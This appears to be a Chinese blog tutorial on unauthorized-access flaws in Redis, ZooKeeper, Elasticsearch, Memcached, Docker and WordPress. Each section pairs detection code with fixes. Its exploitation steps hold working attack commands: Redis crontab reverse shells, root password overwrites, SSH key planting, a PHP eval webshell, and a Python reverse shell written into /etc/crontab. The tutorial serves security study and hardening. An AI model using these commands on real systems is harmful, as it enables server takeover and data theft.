未授权访问漏洞的检测与利用

一、redis未授权访问漏洞

漏洞描述

redis安装完以后,默认是没有账号密码的(安装redis详细可参考:redis相关笔记,如果redis是以root权限去运行,则可以被反弹shell或者写入ssh密钥,从而被获取服务器的权限。

漏洞检测

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send("INFO\r\n")
result = s.recv(1024)
if "redis_version" in result:
    print "exist vul"

客户端连接测试一下:

$redis-cli -h host -p port
>CONFIG get requirepass
1) "requirepass"
2) ""
说明:表示没有设置密码,默认为没有密码。

漏洞利用

利用crontab反弹shell
自己服务器上监听一个端口(10.0.0.2)

nc -lvnp 4444

执行命令:

redis-cli -h 10.0.0.1
set x "\n* * * * * bash -i >& /dev/tcp/10.0.0.2/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

利用crontab修改root密码
为了不覆盖原来的crontab,可以在etc/cron.d目录下写入计划任务,其次可以直接修改root密码。

redis-cli -h 10.0.0.1
set webshell "\n* * * * * root echo nmask | passwd --stdin root\n"
config set dir /etc/cron.d
config set dbfilename root
save

写ssh-keygen公钥登录服务器
利用条件:

1.redis对外开放,且未授权访问(默认配置)
2.服务器的ssh对外开放,可通过key登录

详细攻击方式如下:

准备好自己的公钥,写入本地文件text.txt。
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt
2. 通过redis将该文件写入内存
$ redis-cli -h 10.0.0.1 flushall
$ cat test.txt | redis-cli -h 10.0.0.1 -x set crackit
3. 利用redis-cli 写入配置的方式将公钥写入到.ssh目录下
$ redis-cli -h 10.0.0.1
10.0.0.1:6379> config set dir /Users/nmask/.ssh/
OK
10.0.0.1:6379> config get dir
1) "dir"
2) "/Users/nmask/.ssh"
10.0.0.1:6379> config set dbfilename "authorized_keys"
OK
10.0.0.1:6379> save
OK

获取web服务的webshell
当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell。

config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['test']);?>"
save

说明:执行以上命令,即可将shell写入web目录。

漏洞修复

到redis安装目录下,配置redis.conf文件:
1、默认只对本地开放
bind 127.0.0.1
2、添加登陆密码
requirepass www.secpulse.com
3、在需要对外开放的时候修改默认端口
port 2333
4、最后还可以配合iptables限制开放

二、ZooKeeper未授权访问漏洞

漏洞描述

安装zookeeper之后默认是没有账号密码的,即没有权限校验,可被远程利用,通过目标服务器收集敏感信息,或者破坏zookeeper集群。

漏洞检测

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send("envi")
result = s.recv(1024)
if "zookeeper.version" in result:
    print "exist vul"

漏洞利用

执行以下命令即可远程获取该服务器的环境:

echo envi | nc ip port

直接连接:

./zkCli.sh -server ip:port

漏洞修复

1、禁止把Zookeeper直接暴露在公网
2、添加访问控制,根据情况选择对应方式(认证用户,用户名密码)
3、绑定指定IP访问

三、Elasticsearch未授权访问

漏洞描述

ELK是一款日志分析工具,默认监听9200端口,如果没有设置访问权限,可被非法操作数据。

漏洞检测

conn = httplib.HTTPConnection(ip, port, True, TIMEOUT)
conn.request("GET", '/_cat/master')
resp = conn.getresponse()
if resp.status == 200:
    print "exist vul"

漏洞利用

相当于一个API,任何人访问这个地址,就可以调用api,进行数据的增删改操作。
http://x.x.x.x:9200/_nodes
http://x.x.x.x:9200/_river

漏洞修复

1、防火墙上设置禁止外网访问9200端口。
2、使用Nginx搭建反向代理,通过配置Nginx实现对Elasticsearch的认证
3、限制IP访问,绑定固定IP
4、在config/elasticsearch.yml中为9200端口设置认证:

http.basic.enabled true #开关,开启会接管全部HTTP连接
http.basic.user "admin" #账号
http.basic.password "admin_pw" #密码
http.basic.ipwhitelist ["localhost", "127.0.0.1"]

四、memcache未授权访问

漏洞描述

memcached是一套常用的key-value缓存系统,其本身并没有权限控制模块,因此攻击者通过命令交互可直接读取memcached中的敏感信息。

漏洞检测

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send("stats")
result = s.recv(1024)
if "STAT version" in result:
    print "exist vul"

漏洞利用

nc -vv <target> 11211

说明:连接成功,则可获取memcached中的敏感信息。

漏洞修复

1、设置memchached只允许本地访问
2、禁止外网访问Memcached 11211端口
3、编译时加上–enable-sasl,启用SASL认证

五、Docker未授权访问

漏洞描述

Docker Remote API是一个取代远程命令行界面(rcli)的REST API。通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell。

漏洞检测

conn = httplib.HTTPConnection(ip, port, True, TIMEOUT)
conn.request("GET", '/containers/json')
resp = conn.getresponse()
if resp.status == 200 and "HostConfig" in resp.read():
    print "exist vul"

漏洞利用

获取所有images

http://host:2375/containers/json

getshell的方式与redis利用差不多。

利用计划任务反弹shell

echo -e "*/1 * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /etc/crontab

漏洞修复

1、在不必需的情况下,不要启用docker的remote api服务,如果必须使用的话,可以采用如下的加固方式:
设置ACL,仅允许信任的来源IP连接;
设置TLS认证,官方的文档为Protect the Docker daemon socket
2、客户端连接时需要设置以下环境变量export DOCKER_TLS_VERIFY=1

export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12

3、在 docker api 服务器前面加一个代理,例如 nginx,设置 401 认证

六、wordpress未授权访问漏洞

漏洞描述

wordpress未经授权的攻击者利用该漏洞可注入恶意内容,以及进行提权,对文章、页面等内容进行修改。REST API是最近添加到WordPress 4.7.0并默认启用的。

漏洞利用

查看文章列表:

GET /index.php/wp-json/wp/v2/posts HTTP/1.1

修改文章内容:

POST /index.php/wp-json/wp/v2/posts/500?id=500 HTTP/1.1
Host: xxx.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36
Content-Type: application/json
Content-Length: 43
{"title":"x x x x"}

说明:如果返回 401 则无权限修改;返回200表示修改成功。

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
授权访问漏洞是指攻击者可以在授权的情况下访问某个系统或应用程序中的敏感信息或功能。这种漏洞可能导致数据泄露、恶意操作或系统崩溃等问题,严重影响系统安全和稳定性。以下是授权访问漏洞的原理和防御措施。 原理: 授权访问漏洞的原因通常是由于系统或应用程序中的权限配置不当或认证机制存在缺陷。攻击者可以通过各种手段绕过认证机制或者利用系统的漏洞获取高权限操作的权限,从而访问系统中的敏感信息或者执行恶意操作。 防御: 1. 确保权限配置正确 系统和应用程序中的权限配置应该严格按照实际需要进行设置,并确保只授予必要的权限。此外,还应定期审查和更新权限配置,防止权限泄露或者滥用。 2. 加强认证机制 认证机制应该严格按照安全最佳实践进行设置,包括密码复杂度要求、账户锁定等措施。同时,应该采用多因素认证等更加安全的认证方式。 3. 对敏感操作进行审计 对系统中的敏感操作进行审计,记录每个用户的操作记录,及时发现和防止不当操作或者恶意行为。 4. 及时修补漏洞 及时修补系统和应用程序中的漏洞,防止攻击者利用漏洞进行授权访问。 5. 强化网络安全防护 加强网络安全防护,包括入侵检测、防火墙等措施,及时发现和阻止攻击者的网络攻击行为。 总之,授权访问漏洞是一种常见的安全风险,需要通过加强权限配置、认证机制、审计、漏洞修补和网络安全防护等多方面措施来防范和应对。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值